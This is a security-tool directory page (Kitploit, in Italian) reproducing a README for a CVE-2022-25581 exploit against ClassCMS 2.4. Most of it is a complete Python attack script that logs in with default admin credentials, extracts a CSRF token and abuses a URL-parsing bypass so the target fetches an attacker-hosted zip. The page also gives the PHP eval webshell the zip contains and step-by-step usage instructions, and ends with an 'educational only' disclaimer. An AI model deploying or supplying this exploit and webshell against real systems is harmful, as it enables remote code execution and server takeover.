Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-25581 — Script di exploit in Python per CVE-2022-25581 (ClassCMS 2.4 download arbitrario di file) che automatizza login, estrazione del token CSRF, caricamento di uno zip malevolo con webshell e accesso remoto alla shell tramite bypass del parsing URL. | Kitploit
Strumenti/GitHubGitHub/wooluo/cve-2022-25581
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubwooluo/cve-2022-25581

CVE-2022-25581

Script di exploit in Python per CVE-2022-25581 (ClassCMS 2.4 download arbitrario di file) che automatizza login, estrazione del token CSRF, caricamento di uno zip malevolo con webshell e accesso remoto alla shell tramite bypass del parsing URL.

Vedi Repository
131 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-25581

Non si trova da nessuna parte su internet, lascio un backup, script di sfruttamento in Python, per completare automaticamente i seguenti passaggi:


✅ Obiettivi dello script

  1. Accedere al pannello di amministrazione (ottenere csrf e token)
  2. Costruire una richiesta malevola per caricare un archivio compresso (contenente una webshell)
  3. Accedere alla webshell caricata per ottenere il controllo (GET shell)

🧾 Prerequisiti

  • Ambiente target: ClassCMS 2.4
  • Server web: PHP 5.5 + MySQL
  • L'attaccante deve disporre di un server HTTP accessibile (per ospitare shell.zip)
  • Percorso del pannello di amministrazione noto (es. /admin666)
  • Credenziali di amministrazione: admin/admin

🔒 Riepilogo del principio di sfruttamento della vulnerabilità

La vulnerabilità di download arbitrario dei file si basa sulla costruzione di un URL con formato speciale:

root@kitploit:~
http://@<ip>:[email protected]/shell.zip

Sfruttando la differenza nell'analisi degli URL tra parse_url() di PHP e curl, si bypassa la validazione della whitelist degli host.


🐍 Script di sfruttamento in Python

root@kitploit:~
import requests
from bs4 import BeautifulSoup

# =============== 配置信息 ===============
target_url = "http://192.168.12.144"
admin_path = "/admin666"  # 后台路径
login_url = f"{target_url}{admin_path}?do=login"

download_url = f"{target_url}{admin_path}?do=shop:downloadClass&ajax=1"

# 你的攻击服务器地址(必须能被目标访问到)
attacker_ip = "192.168.12.144"
attacker_port = 80
shell_zip_url = f"http://@{attacker_ip}:{attacker_port}@classcms.com/shell.zip"

# webshell 文件名
webshell_name = "shell.php"
webshell_path = f"{target_url}/class/shell/{webshell_name}"

# 登录凭证
username = "admin"
password = "admin"

# ========================================

# 设置 session 维持 cookie
session = requests.Session()

# ================ Step 1: 登录后台 ================
def login():
    print("[*] 正在登录后台...")
    data = {
        "username": username,
        "password": password
    }
    res = session.post(login_url, data=data)
    if "退出登录" in res.text:
        print("[+] 登录成功!")
        return True
    else:
        print("[-] 登录失败,请检查用户名/密码或后台路径是否正确。")
        return False

# ================ Step 2: 获取 csrf token ================
def get_csrf():
    url = f"{target_url}{admin_path}?do=shop:index&action=detail&classhash=debugswitch"
    res = session.get(url)
    soup = BeautifulSoup(res.text, 'html.parser')
    csrf_input = soup.find('input', {'name': 'csrf'})
    if csrf_input:
        return csrf_input['value']
    else:
        print("[-] 无法提取 csrf token!")
        return None

# ================ Step 3: 上传压缩包并解压 ================
def upload_shell(csrf_token):
    print(f"[*] 正在上传 {shell_zip_url} ...")

    payload = {
        "classhash": "shell",
        "url": shell_zip_url,
        "csrf": csrf_token
    }

    headers = {
        "User-Agent": "Mozilla/5.0",
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
    }

    res = session.post(download_url, data=payload, headers=headers)

    if res.status_code == 200 and "下载完成" in res.text:
        print("[+] 上传成功!")
        return True
    else:
        print("[-] 上传失败,响应内容:", res.text)
        return False

# ================ Step 4: 尝试访问 webshell ================
def check_webshell():
    print(f"[*] 正在尝试访问 webshell:{webshell_path}")
    try:
        res = session.get(webshell_path, timeout=5)
        if res.status_code == 200:
            print("[+] 成功访问 webshell,你现在可以使用菜刀/蚁剑连接!")
            print(f"[+] 地址:{webshell_path}")
        else:
            print("[-] webshell 未找到或未执行。")
    except Exception as e:
        print("[-] 连接异常:", str(e))

# ================ 主函数 ================
if __name__ == "__main__":
    if login():
        csrf = get_csrf()
        if csrf:
            if upload_shell(csrf):
                check_webshell()

📁 Metodo di creazione del file shell.zip

  1. Creare shell.php con il seguente contenuto:

    root@kitploit:~
    <?php @eval($_POST['cmd']); ?>
    
  2. Impacchettare in shell.zip, assicurandosi che la struttura sia tale che shell.php sia direttamente nella radice dell'archivio.

  3. Posizionarlo sul server attaccante, assicurandosi che sia accessibile tramite il seguente URL:

    root@kitploit:~
    http://192.168.12.144/shell.zip
    

🛠️ Istruzioni per l'uso

  1. Installare le dipendenze:
root@kitploit:~
pip install requests beautifulsoup4
  1. Modificare nello script le configurazioni come IP, porta, percorsi, ecc.
  2. Avviare un servizio HTTP sul server attaccante per fornire il download di shell.zip.
  3. Eseguire lo script:
root@kitploit:~
python exploit_classcms.py

📌 Note importanti

  • Assicurarsi che la porta 80 sia aperta sul server attaccante e che shell.zip sia scaricabile normalmente.
  • Se il percorso del pannello di amministrazione è diverso, modificare admin_path.
  • In caso di fallimento della verifica CSRF, ricatturare il pacchetto per verificare se il token è stato aggiornato.
  • Questo script è destinato esclusivamente a scopi didattici e di ricerca; non utilizzarlo per intrusioni illegali!

Scarica lo strumento